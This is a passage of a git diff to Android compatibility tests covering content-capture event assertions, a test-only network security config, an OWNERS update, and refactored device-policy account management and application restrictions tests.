+ }
+
+ @Nullable
+ private String assertViewEvent(@NonNull ContentCaptureEvent event, @NonNull View expectedView) {
+ return assertViewEvent(event, expectedView, /* expectedParentId */ null);
+ }
+
+ @Nullable
+ private String assertViewEvent(@NonNull ContentCaptureEvent event, @NonNull View expectedView,
+ @Nullable AutofillId expectedParentId) {
+ assertEvent(event, expectedView, expectedParentId, /* expectedText */ null);
+ return null;
+ }
+
+ @Nullable
+ private String assertViewEvent(@NonNull ContentCaptureEvent event, @NonNull View expectedView,
+ AutofillId expectedParentId, String expectedText) {
+ assertEvent(event, expectedView, expectedParentId, expectedText);
+ return null;
+ }
+
+ private String assertEventId(@NonNull ContentCaptureEvent event, View expectedView) {
+ final ViewNode node = event.getViewNode();
+
+ if (node == null) {
+ return String.format("node is null at %s", event);
+ }
+
+ if (expectedView != null && !node.getAutofillId().equals(expectedView.getAutofillId())) {
+ return String.format("wrong event id (expected %s, actual is %s) at %s",
+ expectedView.getAutofillId(), node.getAutofillId(), event);
+ }
+ return null;
+ }
+
+ private String assertEventText(@NonNull ContentCaptureEvent event, String expectedText) {
+ final ViewNode node = event.getViewNode();
+ if (node == null) {
+ return String.format("node is null at %s", event);
+ }
+
+ if (!TextUtils.equals(node.getText(), expectedText)) {
+ return String.format("wrong event text (expected %s, actual is %s) at %s",
+ expectedText, node.getText(), event);
+ }
+ return null;
+ }
+
+ private void assertEvent(@NonNull ContentCaptureEvent event, @Nullable View expectedView,
+ @Nullable AutofillId expectedParentId, @Nullable String expectedText) {
+ final ViewNode node = event.getViewNode();
+
+ assertThat(node).isNotNull();
+ assertWithMessage("wrong class on %s", event).that(node.getClassName())
+ .isEqualTo(expectedView.getClass().getName());
+ assertWithMessage("wrong autofill id on %s", event).that(node.getAutofillId())
+ .isEqualTo(expectedView.getAutofillId());
+
+ if (expectedParentId != null) {
+ assertWithMessage("wrong parent autofill id on %s", event)
+ .that(node.getParentAutofillId()).isEqualTo(expectedParentId);
+ }
+
+ if (expectedText != null) {
+ assertWithMessage("wrong text on %s", event).that(node.getText().toString())
+ .isEqualTo(expectedText);
+ }
+ }
+
+ @Nullable
+ private String assertSessionLevelEvent(@NonNull ContentCaptureEvent event) {
+ assertWithMessage("event %s should not have a ViewNode", event)
+ .that(event.getViewNode()).isNull();
+ assertWithMessage("event %s should not have text", event)
+ .that(event.getText()).isNull();
+ assertWithMessage("event %s should not have an autofillId", event)
+ .that(event.getId()).isNull();
+ assertWithMessage("event %s should not have autofillIds", event)
+ .that(event.getIds()).isNull();
+ return null;
+ }
+
+ private void assertNextEvent(@NonNull EventAssertion assertion, int expectedType,
+ @NonNull String errorFormat, @Nullable Object... errorArgs) {
+ if (mNextEvent >= mEvents.size()) {
+ throw new AssertionError("Reached the end of the events: "
+ + String.format(errorFormat, errorArgs) + "\n. Events("
+ + mEvents.size() + "): " + mEvents);
+ }
+ do {
+ final int index = mNextEvent++;
+ final ContentCaptureEvent event = mEvents.get(index);
+ if (event.getType() != expectedType) {
+ Log.w(TAG, "assertNextEvent(): ignoring event #" + index + "(" + event + ")");
+ continue;
+ }
+ // If returns an error message from getErrorMessage(), means the error can be ignored.
+ // The test will assert nex event.
+ // If directly throws AssertionError or exception, means the error cannot be ignored.
+ // The test will stop immediately.
+ final String error = assertion.getErrorMessage(event);
+ if (error == null) {
+ Log.d(TAG, "assertNextEvent(): match event in #" + index + ".");
+ return;
+ }
+ Log.w(TAG, "assertNextEvent(): ignoring event #" + index + "(" + event + "): "
+ + error);
+ } while (mNextEvent < mEvents.size());
+ throw new AssertionError(String.format(errorFormat, errorArgs) + "\n. Events("
+ + mEvents.size() + "): " + mEvents);
+ }
+
+ private interface EventAssertion {
+ @Nullable
+ String getErrorMessage(@NonNull ContentCaptureEvent event);
+ }
+}
diff --git a/tests/devicepolicy/AndroidManifest.xml b/tests/devicepolicy/AndroidManifest.xml
index 5ca3e7b..638eb77 100644
--- a/tests/devicepolicy/AndroidManifest.xml
+++ b/tests/devicepolicy/AndroidManifest.xml
@@ -20,7 +20,9 @@
android:targetSandboxVersion="2">
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
- <application android:testOnly="true">
+ <!-- Add a network security config that trusts user added CAs for tests -->
+ <application android:testOnly="true"
+ android:networkSecurityConfig="@xml/network_security_config">
<uses-library android:name="android.test.runner" />
<activity android:name=".MainActivity"
diff --git a/tests/devicepolicy/OWNERS b/tests/devicepolicy/OWNERS
index b37176e..19b6194 100644
--- a/tests/devicepolicy/OWNERS
+++ b/tests/devicepolicy/OWNERS
@@ -1,7 +1,2 @@
# Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204
-alexkershaw@google.com
-eranm@google.com
-rubinxu@google.com
-sandness@google.com
-pgrafov@google.com
-scottjonathan@google.com
+file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
diff --git a/tests/devicepolicy/res/xml/network_security_config.xml b/tests/devicepolicy/res/xml/network_security_config.xml
new file mode 100644
index 0000000..de3cdfa
--- /dev/null
+++ b/tests/devicepolicy/res/xml/network_security_config.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2021 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<network-security-config>
+ <base-config cleartextTrafficPermitted="true">
+ <trust-anchors>
+ <certificates src="user" />
+ </trust-anchors>
+ </base-config>
+</network-security-config>
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
index 66b3916..b567e77 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
@@ -42,9 +42,9 @@
import com.android.bedstead.harrier.policies.AccountManagement;
import com.android.bedstead.nene.TestApis;
import com.android.bedstead.nene.utils.Poll;
-import com.android.bedstead.remotedpc.RemoteDpc;
+import com.android.bedstead.remotedpc.RemotePolicyManager;
import com.android.bedstead.testapp.TestApp;
-import com.android.bedstead.testapp.TestAppInstanceReference;
+import com.android.bedstead.testapp.TestAppInstance;
import com.android.bedstead.testapp.TestAppProvider;
import org.junit.Before;
@@ -85,8 +85,8 @@
@Before
public void setUp() {
- RemoteDpc dpc = sDeviceState.dpc();
- mAdmin = dpc.devicePolicyController().componentName();
+ RemotePolicyManager dpc = sDeviceState.dpc();
+ mAdmin = dpc.componentName();
mDpm = dpc.devicePolicyManager();
mAccountManager = sContext.getSystemService(AccountManager.class);
}
@@ -100,7 +100,8 @@
@Test
@Postsubmit(reason = "new test")
- @CannotSetPolicyTest(policy = AccountManagement.class)
+ // We don't include non device admin states as passing a null admin is a NullPointerException
+ @CannotSetPolicyTest(policy = AccountManagement.class, includeNonDeviceAdminStates = false)
public void setAccountTypesWithManagementDisabled_invalidAdmin_throwsException() {
assertThrows(OperationCanceledException.class, () ->
mDpm.setAccountManagementDisabled(
@@ -163,7 +164,7 @@
@CanSetPolicyTest(policy = AccountManagement.class)
public void addAccount_fromDpcWithAccountManagementDisabled_accountAdded()
throws OperationCanceledException, AuthenticatorException, IOException {
- try (TestAppInstanceReference accountAuthenticatorApp = sAccountManagementApp.install()) {
+ try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ true);
// Management is disabled, but the DO/PO is still allowed to use the APIs
@@ -186,7 +187,7 @@
@CanSetPolicyTest(policy = AccountManagement.class)
public void addAccount_fromDpcWithDisallowModifyAccountsRestriction_accountAdded()
throws OperationCanceledException, AuthenticatorException, IOException {
- try (TestAppInstanceReference accountAuthenticatorApp = sAccountManagementApp.install()) {
+ try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
// Management is disabled, but the DO/PO is still allowed to use the APIs
@@ -209,7 +210,7 @@
@CanSetPolicyTest(policy = AccountManagement.class)
public void removeAccount_fromDpcWithDisallowModifyAccountsRestriction_accountRemoved()
throws OperationCanceledException, AuthenticatorException, IOException {
- try (TestAppInstanceReference accountAuthenticatorApp = sAccountManagementApp.install()) {
+ try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
// Management is disabled, but the DO/PO is still allowed to use the APIs
@@ -229,7 +230,7 @@
@CanSetPolicyTest(policy = AccountManagement.class)
public void addAccount_withDisallowModifyAccountsRestriction_throwsException()
throws OperationCanceledException, AuthenticatorException, IOException {
- try (TestAppInstanceReference accountAuthenticatorApp = sAccountManagementApp.install()) {
+ try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
assertThrows(OperationCanceledException.class, () ->
@@ -245,7 +246,7 @@
public void removeAccount_withDisallowModifyAccountsRestriction_throwsException()
throws OperationCanceledException, AuthenticatorException, IOException,
InterruptedException {
- try (TestAppInstanceReference accountAuthenticatorApp = sAccountManagementApp.install()) {
+ try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
addAccountWithType(EXISTING_ACCOUNT_TYPE);
mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
@@ -261,7 +262,7 @@
@Postsubmit(reason = "new test with sleep")
@CanSetPolicyTest(policy = AccountManagement.class)
public void addAccount_withAccountManagementDisabled_throwsException() {
- try (TestAppInstanceReference accountAuthenticatorApp = sAccountManagementApp.install()) {
+ try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ true);
assertThrows(OperationCanceledException.class, () ->
@@ -277,7 +278,7 @@
public void removeAccount_withAccountManagementDisabled_throwsException()
throws OperationCanceledException, AuthenticatorException, IOException,
InterruptedException {
- try (TestAppInstanceReference accountAuthenticatorApp = sAccountManagementApp.install()) {
+ try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
addAccountWithType(EXISTING_ACCOUNT_TYPE);
mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ true);
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/ApplicationRestrictionsTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/ApplicationRestrictionsTest.java
index 6685e5f..0c054e3 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/ApplicationRestrictionsTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/ApplicationRestrictionsTest.java
@@ -15,12 +15,21 @@
*/
package android.devicepolicy.cts;
+import static android.content.Intent.ACTION_APPLICATION_RESTRICTIONS_CHANGED;
+
+import static com.android.bedstead.metricsrecorder.truth.MetricQueryBuilderSubject.assertThat;
+import static com.android.eventlib.truth.EventLogsSubject.assertThat;
+
+import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
import static org.testng.Assert.assertThrows;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
import android.os.Bundle;
import android.os.Parcelable;
+import android.stats.devicepolicy.EventId;
import android.util.Log;
import com.android.bedstead.harrier.BedsteadJUnit4;
@@ -31,8 +40,10 @@
import com.android.bedstead.harrier.annotations.enterprise.NegativePolicyTest;
import com.android.bedstead.harrier.annotations.enterprise.PositivePolicyTest;
import com.android.bedstead.harrier.policies.ApplicationRestrictions;
+import com.android.bedstead.harrier.policies.ApplicationRestrictionsManagingPackage;
+import com.android.bedstead.metricsrecorder.EnterpriseMetricsRecorder;
import com.android.bedstead.testapp.TestApp;
-import com.android.bedstead.testapp.TestAppInstanceReference;
+import com.android.bedstead.testapp.TestAppInstance;
import com.android.bedstead.testapp.TestAppProvider;
import org.junit.ClassRule;
@@ -45,170 +56,32 @@
@RunWith(BedsteadJUnit4.class)
public final class ApplicationRestrictionsTest {
+ @ClassRule
+ @Rule
+ public static final DeviceState sDeviceState = new DeviceState();
private static final String TAG = ApplicationRestrictionsTest.class.getSimpleName();
-
- private static final String[] TEST_STRINGS = new String[] {
+ private static final String[] TEST_STRINGS = new String[]{
"<bad/>",
">worse!\"£$%^&*()'<",
"<JSON>\"{ \\\"One\\\": { \\\"OneOne\\\": \\\"11\\\", \\\""
+ "OneTwo\\\": \\\"12\\\" }, \\\"Two\\\": \\\"2\\\" } <JSON/>\""
};
-
- private static final Bundle BUNDLE = createBundle();
-
- @ClassRule
- @Rule
- public static final DeviceState sDeviceState = new DeviceState();
-
private static final TestAppProvider sTestAppProvider = new TestAppProvider();
private static final TestApp sTestApp = sTestAppProvider.any();
private static final TestApp sDifferentTestApp = sTestAppProvider.any();
- @Test
- @Postsubmit(reason = "New test")
- @PositivePolicyTest(policy = ApplicationRestrictions.class)
- public void setApplicationRestrictions_applicationRestrictionsAreSet() {
- Bundle originalApplicationRestrictions =
- sDeviceState.dpc().devicePolicyManager()
- .getApplicationRestrictions(
- sDeviceState.dpc().componentName(), sTestApp.packageName());
-
- try (TestAppInstanceReference testApp = sTestApp.install()) {
- sDeviceState.dpc().devicePolicyManager()
- .setApplicationRestrictions(
- sDeviceState.dpc().componentName(), sTestApp.packageName(),
- BUNDLE);
-
- assertEqualToBundle(
- testApp.userManager().getApplicationRestrictions(sTestApp.packageName()));
- } finally {
- sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
- sDeviceState.dpc().componentName(),
- sTestApp.packageName(), originalApplicationRestrictions);
- }
- }
-
- @Test
- @Postsubmit(reason = "New test")
- @CanSetPolicyTest(policy = ApplicationRestrictions.class)
- public void getApplicationRestrictions_applicationRestrictionsAreSet_returnsApplicationRestrictions() {
- Bundle originalApplicationRestrictions =
- sDeviceState.dpc().devicePolicyManager()
- .getApplicationRestrictions(
- sDeviceState.dpc().componentName(), sTestApp.packageName());
-
- try {
- sDeviceState.dpc().devicePolicyManager()
- .setApplicationRestrictions(
- sDeviceState.dpc().componentName(), sTestApp.packageName(),
- BUNDLE);
-
- assertEqualToBundle(
- sDeviceState.dpc().devicePolicyManager().getApplicationRestrictions(
- sDeviceState.dpc().componentName(), sTestApp.packageName()));
- } finally {
- sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
- sDeviceState.dpc().componentName(),
- sTestApp.packageName(), originalApplicationRestrictions);
- }
- }
-
- @Test
- @Postsubmit(reason = "New test")
- @CanSetPolicyTest(policy = ApplicationRestrictions.class)
- public void getApplicationRestrictions_differentPackage_throwsException() {
- Bundle originalApplicationRestrictions =
- sDeviceState.dpc().devicePolicyManager()
- .getApplicationRestrictions(
- sDeviceState.dpc().componentName(), sTestApp.packageName());
-
- try (TestAppInstanceReference differentTestApp = sDifferentTestApp.install()) {
- sDeviceState.dpc().devicePolicyManager()
- .setApplicationRestrictions(
- sDeviceState.dpc().componentName(), sTestApp.packageName(),
- BUNDLE);
-
- assertThrows(SecurityException.class,
- () -> differentTestApp.userManager().getApplicationRestrictions(
- sTestApp.packageName()));
- } finally {
- sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
- sDeviceState.dpc().componentName(),
- sTestApp.packageName(), originalApplicationRestrictions);
- }
- }
-
- @Test
- @Postsubmit(reason = "New test")
- @CanSetPolicyTest(policy = ApplicationRestrictions.class)
- public void getApplicationRestrictions_setForOtherPackage_returnsNull() {
- Bundle originalApplicationRestrictions =
- sDeviceState.dpc().devicePolicyManager()
- .getApplicationRestrictions(
- sDeviceState.dpc().componentName(), sTestApp.packageName());
-
- try (TestAppInstanceReference differentTestApp = sDifferentTestApp.install()) {
- sDeviceState.dpc().devicePolicyManager()
- .setApplicationRestrictions(
- sDeviceState.dpc().componentName(), sTestApp.packageName(),
- BUNDLE);
-
- assertNotEqualToBundle(differentTestApp.userManager().getApplicationRestrictions(
- sDifferentTestApp.packageName()));
- } finally {
- sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
- sDeviceState.dpc().componentName(),
- sTestApp.packageName(), originalApplicationRestrictions);
- }
- }
-
- @Test
- @Postsubmit(reason = "New test")
- @NegativePolicyTest(policy = ApplicationRestrictions.class)
- public void setApplicationRestrictions_policyDoesNotApply_applicationRestrictionsAreNotSet() {
- Bundle originalApplicationRestrictions =
- sDeviceState.dpc().devicePolicyManager().getApplicationRestrictions(
- sDeviceState.dpc().componentName(), sTestApp.packageName());
-
- try (TestAppInstanceReference testApp = sTestApp.install()) {
- sDeviceState.dpc().devicePolicyManager()
- .setApplicationRestrictions(
- sDeviceState.dpc().componentName(), sTestApp.packageName(),
- BUNDLE);
-
- assertNotEqualToBundle(testApp.userManager().getApplicationRestrictions(
- sTestApp.packageName()));
- } finally {
- sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
- sDeviceState.dpc().componentName(),
- sTestApp.packageName(), originalApplicationRestrictions);
- }
- }
-
- @Test
- @Postsubmit(reason = "New test")
- @CannotSetPolicyTest(policy = ApplicationRestrictions.class)
- public void setApplicationRestrictions_cannotSetPolicy_throwsException() {
- assertThrows(SecurityException.class, () -> {
- sDeviceState.dpc().devicePolicyManager()
- .setApplicationRestrictions(
- sDeviceState.dpc().componentName(), sTestApp.packageName(),
- BUNDLE);
- });
- }
-
- // Should be consistent with assertBundle0
- private static Bundle createBundle() {
+ // Should be consistent with assertEqualToBundle
+ private static Bundle createBundle(String id) {
Bundle result = new Bundle();
// Tests for 6 allowed types: Integer, Boolean, String, String[], Bundle and Parcelable[]
// Also test for string escaping handling
result.putBoolean("boolean_0", false);
result.putBoolean("boolean_1", true);
- result.putInt("integer", 0x7fffffff);
+ result.putInt("integer", 0xfffff);
// If a null is stored, "" will be read back
result.putString("empty", "");
- result.putString("string", "text");
+ result.putString("string", id);
result.putStringArray("string[]", TEST_STRINGS);
// Adding a bundle, which contain 2 nested restrictions - bundle_string and bundle_int
@@ -229,15 +102,298 @@
return result;
}
- // Should be consistent with createBundle0
- private void assertEqualToBundle(Bundle bundle) {
+ @Test
+ @Postsubmit(reason = "New test")
+ @PositivePolicyTest(policy = ApplicationRestrictions.class)
+ public void setApplicationRestrictions_applicationRestrictionsAreSet() {
+ Bundle originalApplicationRestrictions =
+ sDeviceState.dpc().devicePolicyManager()
+ .getApplicationRestrictions(
+ sDeviceState.dpc().componentName(), sTestApp.packageName());
+ Bundle bundle = createBundle("setApplicationRestrictions_applicationRestrictionsAreSet");
+
+ try (TestAppInstance testApp = sTestApp.install()) {
+ sDeviceState.dpc().devicePolicyManager()
+ .setApplicationRestrictions(
+ sDeviceState.dpc().componentName(), sTestApp.packageName(),
+ bundle);
+
+ assertEqualToBundle("setApplicationRestrictions_applicationRestrictionsAreSet",
+ testApp.userManager().getApplicationRestrictions(sTestApp.packageName()));
+ } finally {
+ sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
+ sDeviceState.dpc().componentName(),
+ sTestApp.packageName(), originalApplicationRestrictions);
+ }
+ }
+
+ @Test
+ @Postsubmit(reason = "New test")
+ @PositivePolicyTest(policy = ApplicationRestrictions.class)
+ public void setApplicationRestrictions_applicationRestrictionsAlreadySet_setsNewRestrictions() {
+ Bundle originalApplicationRestrictions =
+ sDeviceState.dpc().devicePolicyManager()
+ .getApplicationRestrictions(
+ sDeviceState.dpc().componentName(), sTestApp.packageName());
+ Bundle bundle = createBundle("setApplicationRestrictions_applicationRestrictionsAlreadySet_setsNewRestrictions");
+
+ try (TestAppInstance testApp = sTestApp.install()) {
+ sDeviceState.dpc().devicePolicyManager()
+ .setApplicationRestrictions(
+ sDeviceState.dpc().componentName(), sTestApp.packageName(),
+ new Bundle());
+ sDeviceState.dpc().devicePolicyManager()
+ .setApplicationRestrictions(
+ sDeviceState.dpc().componentName(), sTestApp.packageName(),
+ bundle);
+
+ assertEqualToBundle("setApplicationRestrictions_applicationRestrictionsAlreadySet_setsNewRestrictions",
+ testApp.userManager().getApplicationRestrictions(sTestApp.packageName()));
+ } finally {
+ sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
+ sDeviceState.dpc().componentName(),
+ sTestApp.packageName(), originalApplicationRestrictions);
+ }
+ }
+
+ @Test
+ @Postsubmit(reason = "New test")
+ @CanSetPolicyTest(policy = ApplicationRestrictions.class)
+ public void getApplicationRestrictions_applicationRestrictionsAreSet_returnsApplicationRestrictions() {
+ Bundle originalApplicationRestrictions =
+ sDeviceState.dpc().devicePolicyManager()
+ .getApplicationRestrictions(
+ sDeviceState.dpc().componentName(), sTestApp.packageName());
+ Bundle bundle = createBundle("getApplicationRestrictions_applicationRestrictionsAreSet_returnsApplicationRestrictions");
+
+ try {
+ sDeviceState.dpc().devicePolicyManager()
+ .setApplicationRestrictions(
+ sDeviceState.dpc().componentName(), sTestApp.packageName(),
+ bundle);
+
+ assertEqualToBundle("getApplicationRestrictions_applicationRestrictionsAreSet_returnsApplicationRestrictions",
+ sDeviceState.dpc().devicePolicyManager().getApplicationRestrictions(
+ sDeviceState.dpc().componentName(), sTestApp.packageName()));
+ } finally {
+ sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
+ sDeviceState.dpc().componentName(),
+ sTestApp.packageName(), originalApplicationRestrictions);
+ }
+ }
+
+ @Test
+ @Postsubmit(reason = "New test")
+ @CanSetPolicyTest(policy = ApplicationRestrictions.class)
+ public void getApplicationRestrictions_differentPackage_throwsException() {
+ Bundle originalApplicationRestrictions =
+ sDeviceState.dpc().devicePolicyManager()
+ .getApplicationRestrictions(
+ sDeviceState.dpc().componentName(), sTestApp.packageName());
+ Bundle bundle = createBundle("getApplicationRestrictions_differentPackage_throwsException");
+
+ try (TestAppInstance differentTestApp = sDifferentTestApp.install()) {
+ sDeviceState.dpc().devicePolicyManager()
+ .setApplicationRestrictions(
+ sDeviceState.dpc().componentName(), sTestApp.packageName(),
+ bundle);
+
+ assertThrows(SecurityException.class,
+ () -> differentTestApp.userManager().getApplicationRestrictions(
+ sTestApp.packageName()));
+ } finally {
+ sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
+ sDeviceState.dpc().componentName(),
+ sTestApp.packageName(), originalApplicationRestrictions);
+ }
+ }
+
+ @Test
+ @Postsubmit(reason = "New test")
+ @CanSetPolicyTest(policy = ApplicationRestrictions.class)
+ public void getApplicationRestrictions_setForOtherPackage_returnsNull() {
+ Bundle originalApplicationRestrictions =
+ sDeviceState.dpc().devicePolicyManager()
+ .getApplicationRestrictions(
+ sDeviceState.dpc().componentName(), sTestApp.packageName());
+ Bundle bundle = createBundle("getApplicationRestrictions_setForOtherPackage_returnsNull");
+
+ try (TestAppInstance differentTestApp = sDifferentTestApp.install()) {
+ sDeviceState.dpc().devicePolicyManager()
+ .setApplicationRestrictions(
+ sDeviceState.dpc().componentName(), sTestApp.packageName(),
+ bundle);
+
+ assertNotEqualToBundle("getApplicationRestrictions_setForOtherPackage_returnsNull",
+ differentTestApp.userManager().getApplicationRestrictions(
+ sDifferentTestApp.packageName()));
+ } finally {
+ sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
+ sDeviceState.dpc().componentName(),
+ sTestApp.packageName(), originalApplicationRestrictions);
+ }
+ }
+
+ @Test
+ @Postsubmit(reason = "New test")
+ @NegativePolicyTest(policy = ApplicationRestrictions.class)
+ public void setApplicationRestrictions_policyDoesNotApply_applicationRestrictionsAreNotSet() {
+ Bundle originalApplicationRestrictions =
+ sDeviceState.dpc().devicePolicyManager().getApplicationRestrictions(
+ sDeviceState.dpc().componentName(), sTestApp.packageName());
+ Bundle bundle = createBundle("setApplicationRestrictions_policyDoesNotApply_applicationRestrictionsAreNotSet");
+
+ try (TestAppInstance testApp = sTestApp.install()) {
+ sDeviceState.dpc().devicePolicyManager()
+ .setApplicationRestrictions(
+ sDeviceState.dpc().componentName(), sTestApp.packageName(),
+ bundle);
+
+ assertNotEqualToBundle("setApplicationRestrictions_policyDoesNotApply_applicationRestrictionsAreNotSet",
+ testApp.userManager().getApplicationRestrictions(sTestApp.packageName()));
+ } finally {
+ sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
+ sDeviceState.dpc().componentName(),
+ sTestApp.packageName(), originalApplicationRestrictions);
+ }
+ }
+
+ @Test
+ @Postsubmit(reason = "New test")
+ @CannotSetPolicyTest(policy = ApplicationRestrictions.class)
+ public void setApplicationRestrictions_cannotSetPolicy_throwsException() {
+ Bundle bundle = createBundle("setApplicationRestrictions_cannotSetPolicy_throwsException");
+ assertThrows(SecurityException.class, () -> {
+ sDeviceState.dpc().devicePolicyManager()
+ .setApplicationRestrictions(
+ sDeviceState.dpc().componentName(), sTestApp.packageName(),
+ bundle);
+ });
+ }
+
+ @Test
+ @Postsubmit(reason = "New test")
+ @CannotSetPolicyTest(policy = ApplicationRestrictions.class)
+ public void getApplicationRestrictions_cannotSetPolicy_throwsException() {
+ assertThrows(SecurityException.class, () -> {
+ sDeviceState.dpc().devicePolicyManager()
+ .getApplicationRestrictions(
+ sDeviceState.dpc().componentName(), sTestApp.packageName());
+ });
+ }
+
+ @Test
+ @Postsubmit(reason = "New test")
+ @CanSetPolicyTest(policy = ApplicationRestrictions.class, singleTestOnly = true)
+ public void setApplicationRestrictions_nullComponent_throwsException() {
+ Bundle bundle = createBundle("setApplicationRestrictions_nullComponent_throwsException");
+ assertThrows(SecurityException.class,
+ () -> sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(null,
+ sTestApp.packageName(), bundle));
+ }
+
+ @Test
+ @Postsubmit(reason = "New test")
+ @PositivePolicyTest(policy = ApplicationRestrictions.class)
+ public void setApplicationRestrictions_restrictionsChangedBroadcastIsReceived() {
+ Bundle originalApplicationRestrictions =
+ sDeviceState.dpc().devicePolicyManager()
+ .getApplicationRestrictions(
+ sDeviceState.dpc().componentName(), sTestApp.packageName());
+ Bundle bundle = createBundle("setApplicationRestrictions_restrictionsChangedBroadcastIsReceived");
+
+ try (TestAppInstance testApp = sTestApp.install()) {
+ testApp.registerReceiver(new IntentFilter(ACTION_APPLICATION_RESTRICTIONS_CHANGED));
+
+ sDeviceState.dpc().devicePolicyManager()
+ .setApplicationRestrictions(
+ sDeviceState.dpc().componentName(), sTestApp.packageName(),
+ bundle);
+
+ assertThat(testApp.events().broadcastReceived().whereIntent().action().isEqualTo(
+ ACTION_APPLICATION_RESTRICTIONS_CHANGED)).eventOccurred();
+ } finally {
+ sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
+ sDeviceState.dpc().componentName(),
+ sTestApp.packageName(), originalApplicationRestrictions);
+ }
+ }
+
+ @Test
+ @Postsubmit(reason = "New test")
+ @CanSetPolicyTest(policy = ApplicationRestrictionsManagingPackage.class)
+ public void setApplicationRestrictionsManagingPackage_applicationRestrictionsManagingPackageIsSet()
+ throws Exception {
+ final String originalApplicationRestrictionsManagingPackage =
+ sDeviceState.dpc().devicePolicyManager().getApplicationRestrictionsManagingPackage(
+ sDeviceState.dpc().componentName());
+ try (TestAppInstance testApp = sTestApp.install()) {
+ sDeviceState.dpc().devicePolicyManager().setApplicationRestrictionsManagingPackage(
+ sDeviceState.dpc().componentName(), sTestApp.packageName());
+
+ assertThat(sDeviceState.dpc().devicePolicyManager()
+ .getApplicationRestrictionsManagingPackage(sDeviceState.dpc().componentName()))
+ .isEqualTo(sTestApp.packageName());
+ } finally {
+ sDeviceState.dpc().devicePolicyManager().setApplicationRestrictionsManagingPackage(
+ sDeviceState.dpc().componentName(),
+ originalApplicationRestrictionsManagingPackage);
+ }
+ }
+
+ @Test
+ @Postsubmit(reason = "New test")
+ @CanSetPolicyTest(policy = ApplicationRestrictionsManagingPackage.class)
+ public void setApplicationRestrictionsManagingPackage_appNotInstalled_throwsException() {
+ sDifferentTestApp.uninstall();
+
+ assertThrows(PackageManager.NameNotFoundException.class,
+ () -> sDeviceState.dpc().devicePolicyManager()
+ .setApplicationRestrictionsManagingPackage(
+ sDeviceState.dpc().componentName(),
+ sDifferentTestApp.packageName()));
+ }
+
+ @Test
+ @Postsubmit(reason = "New test")
+ @PositivePolicyTest(policy = ApplicationRestrictions.class)
+ public void setApplicationRestrictions_logged() {
+ Bundle originalApplicationRestrictions =
+ sDeviceState.dpc().devicePolicyManager()
+ .getApplicationRestrictions(
+ sDeviceState.dpc().componentName(), sTestApp.packageName());
+ Bundle bundle = createBundle("setApplicationRestrictions_logged");
+
+ try (EnterpriseMetricsRecorder metrics = EnterpriseMetricsRecorder.create();
+ TestAppInstance testApp = sTestApp.install()) {
+ sDeviceState.dpc().devicePolicyManager()
+ .setApplicationRestrictions(
+ sDeviceState.dpc().componentName(), sTestApp.packageName(),
+ bundle);
+
+ assertThat(metrics.query()
+ .whereType().isEqualTo(EventId.SET_APPLICATION_RESTRICTIONS_VALUE)
+ .whereAdminPackageName().isEqualTo(
+ sDeviceState.dpc().packageName())
+ .whereStrings().contains(sTestApp.packageName())
+ .whereStrings().size().isEqualTo(1))
+ .wasLogged();
+ } finally {
+ sDeviceState.dpc().devicePolicyManager().setApplicationRestrictions(
+ sDeviceState.dpc().componentName(),
+ sTestApp.packageName(), originalApplicationRestrictions);
+ }
+ }
+
+ // Should be consistent with createBundle
+ private void assertEqualToBundle(String id, Bundle bundle) {
